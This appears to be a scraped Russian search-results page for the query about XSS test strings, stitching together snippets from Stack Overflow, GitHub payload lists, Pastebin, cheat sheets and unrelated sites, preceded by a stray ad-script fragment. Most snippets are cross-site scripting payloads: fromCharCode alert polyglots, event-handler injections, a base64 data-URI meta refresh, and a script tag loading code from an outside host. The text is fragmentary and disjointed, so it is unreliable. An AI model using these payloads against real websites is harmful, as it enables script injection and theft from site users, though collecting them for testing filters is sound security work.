', searchPageNumber: 1 }); }); t = d.getElementsByTagName("script")[0]; s = d.createElement("script"); s.type = "text/javascript"; s.src = "//an.yandex.ru/system/context.js"; s.async = true; t.parentNode.insertBefore(s, t); })(this, this.document, "yandexContextAsyncCallbacks");
Поиск Google ничего не нашел

javascript - Could anyone explain these XSS test strings?

stackoverflow.com

Inject JavaScript using <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>. The Fourth Injection.

';alert(String.fromCharCode(88,83,83))//';alert... - YouTube

www.youtube.com

Следующее. Convert UTF-16 Code into String with JavaScript | String.fromCharCode Method - Продолжительность: 3:37 dcode 1 438 просмотров.

XSS-Payloads/payload.txt at master · pgaijin66/XSS-Payloads · GitHub

github.com

http://www.google<script .com>alert(document.location)</script.

http://vk.com/?;alert(String.fromCharCode(88,83,83))//';alert...

ok.ru

...alert()> <video/poster/onerror=alert()> <isindex/autofocus/onfocus=alert()> <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT

HTML Purifier XSS Attacks Smoketest

htmlpurifier.org

SCRIPT w/Source File.

<"';alert(String.fromCharCode(88,83,83))//\';alert... - Pastebin.com

pastebin.com

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">.

Collection of Cross-Site Scripting (XSS) Payloads ~ SmeegeSec

www.smeegesec.com

/SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search <h1><font color=blue>hellox worldss</h1> <BODY ONLOAD=alert('hellox worldss')> <input onfocus=write(XSS) autofocus> <input onblur=write(XSS)...

"><script >alert(string.fromcharcode(88,83,83))</script>, \"><script...

www.fukgames.com

Bear and Cat Marine Balls (88%).

XSS Cheat Sheet - Seguretat

seguretat.wiki.uoc.edu

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode (88,83,83))</SCRIPT>=&{}.

fr:Codex:Introduction « WordPress Codex

codex.wordpress.org

/--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"...

Поиск реализован с помощью YandexXML и Google Custom Search API